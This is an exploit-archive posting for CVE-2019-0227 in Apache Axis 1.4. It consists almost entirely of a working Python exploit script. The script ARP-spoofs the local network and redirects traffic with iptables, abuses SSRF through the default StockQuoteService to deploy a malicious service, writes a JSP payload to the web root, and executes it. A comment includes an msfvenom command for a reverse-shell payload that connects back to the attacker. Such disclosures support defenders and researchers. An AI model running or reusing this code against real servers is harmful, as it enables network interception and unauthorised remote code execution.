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Apache Axis 1.4 Remote Code Execution

Apache Axis 1.4 Remote Code Execution
Posted Apr 10, 2019
Authored by David Yesland

Apache Axis version 1.4 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2019-0227
MD5 | 1d898066a3056b1a2441f0a373a343c8

Apache Axis 1.4 Remote Code Execution

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#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
# Apache Axis 1.4 Remote Code Execution CVE-2019-0227 #
#https://rhinosecuritylabs.com/Application-Security/CVE-2019-0227-Expired-Domain-to-RCE-in-Apache-Axis #
# Author: David Yesland @daveysec, Rhino Security Labs #
# This exploits Apache Axis < 1.4 to upload and execute a JSP payload using MITM #
# by forcing an http request using the default StockQuoteService.jws service. #
# You need to be on the same network as the Axis server to make this work. #
# A lot of this exploit is based on the research from: #
# https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce #
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

import SimpleHTTPServer
import SocketServer
import subprocess
from time import sleep
import thread
import requests
from urllib import quote_plus
import sys

#Usage: python CVE-2019-0227.py shell.jsp

#You need to change these variable to match your configuration
myip = "192.168.0.117" #IP of your machine
target = "192.168.0.102" #IP of target
gateway = "192.168.0.1" #default gateway
targetport = "8080" #Port of target running axis (probably 8080)
pathtoaxis = "http://192.168.0.102:8080/axis" #This can be custom depending on the Axis install, but this is default
spoofinterface = "eth0" #Interface for arpspoofing
jspwritepath = "webapps\\axis\\exploit.jsp" #relative path on the target to write the JSP payload This is the default on a Tomcat install

#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
payloadfile = open(sys.argv[1],'r').read() #Some file containing a JSP payload

#craft URL to deploy a service as described here https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
deployurl = 'http://localhost:'+targetport+'/axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22'+quote_plus(jspwritepath)+'%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment'

#craft URL to undeploy a service as described here https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
undeployurl = 'http://localhost:'+targetport+'/axis/services/AdminService?method=%21--%3E%3Cns1%3Aundeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22%2F%3E%3C%2Fns1%3Aundeployment'


def CreateJsp(pathtoaxis,jsppayload):
url = pathtoaxis+"/services/exploitservice"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "SOAPAction": "something", "Content-Type": "text/xml;charset=UTF-8"}
data="<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n <soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n xmlns:api=\"http://127.0.0.1/Integrics/Enswitch/API\"\r\n xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"\r\n xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n <soapenv:Body>\r\n <api:main\r\n soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n <api:in0><![CDATA[\r\n"+jsppayload+"\r\n]]>\r\n </api:in0>\r\n </api:main>\r\n </soapenv:Body>\r\n</soapenv:Envelope>"
requests.post(url, headers=headers, data=data)

def TriggerSSRF(pathtoaxis):
url = pathtoaxis+"/StockQuoteService.jws"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "SOAPAction": "", "Content-Type": "text/xml;charset=UTF-8"}
data="<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:def=\"http://DefaultNamespace\">\r\n <soapenv:Header/>\r\n <soapenv:Body>\r\n <def:getQuote soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n <symbol xsi:type=\"xsd:string\">dwas</symbol>\r\n </def:getQuote>\r\n </soapenv:Body>\r\n</soapenv:Envelope>"
requests.post(url, headers=headers, data=data)


def StartMitm(interface,target,gateway):
subprocess.Popen("echo 1 > /proc/sys/net/ipv4/ip_forward",shell=True)#Enable forwarding
subprocess.Popen("arpspoof -i {} -t {} {}".format(interface,target,gateway),shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)#spoof target -> gateway
subprocess.Popen("iptables -t nat -A PREROUTING -p tcp --dport 80 -j NETMAP --to {}".format(myip),shell=True)#use iptable to redirect back to our web server


def KillMitm(target,myip):
subprocess.Popen("pkill arpspoof",shell=True)
subprocess.Popen("echo 0 > /proc/sys/net/ipv4/ip_forward",shell=True)
subprocess.Popen("iptables -t nat -D PREROUTING -p tcp --dport 80 -j NETMAP --to {}".format(myip),shell=True)


def SSRFRedirect(new_path):
class myHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header('Location', new_path)
self.end_headers()
PORT = 80
SocketServer.TCPServer.allow_reuse_address = True
handler = SocketServer.TCPServer(("", PORT), myHandler)
print "[+] Waiting to redirect"
handler.handle_request()
print "[+] Payload URL sent"


def ExecuteJsp(pathtoaxis):
subprocess.Popen("curl "+pathtoaxis+"/exploit.jsp",shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

print "[+] Starting MITM"
StartMitm(spoofinterface,target,gateway)
sleep(2)

print "[+] Starting web server for SSRF"
thread.start_new_thread(SSRFRedirect,(deployurl,))

print "[+] Using StockQuoteService.jws to trigger SSRF"
TriggerSSRF(pathtoaxis)
print "[+] Waiting 3 seconds for incoming request"
sleep(3)

print "[+] Writing JSP payload"
CreateJsp(pathtoaxis,payloadfile)

print "[+] Cleaning up exploit service"
thread.start_new_thread(SSRFRedirect,(undeployurl,))
TriggerSSRF(pathtoaxis)

print "[+] Cleaning up man in the middle"
KillMitm(target,myip)

print "[+] Waiting 2 seconds for JSP write"
sleep(2)
ExecuteJsp(pathtoaxis)

print "[+] Default URL to the jsp payload:"
print pathtoaxis+"/exploit.jsp"

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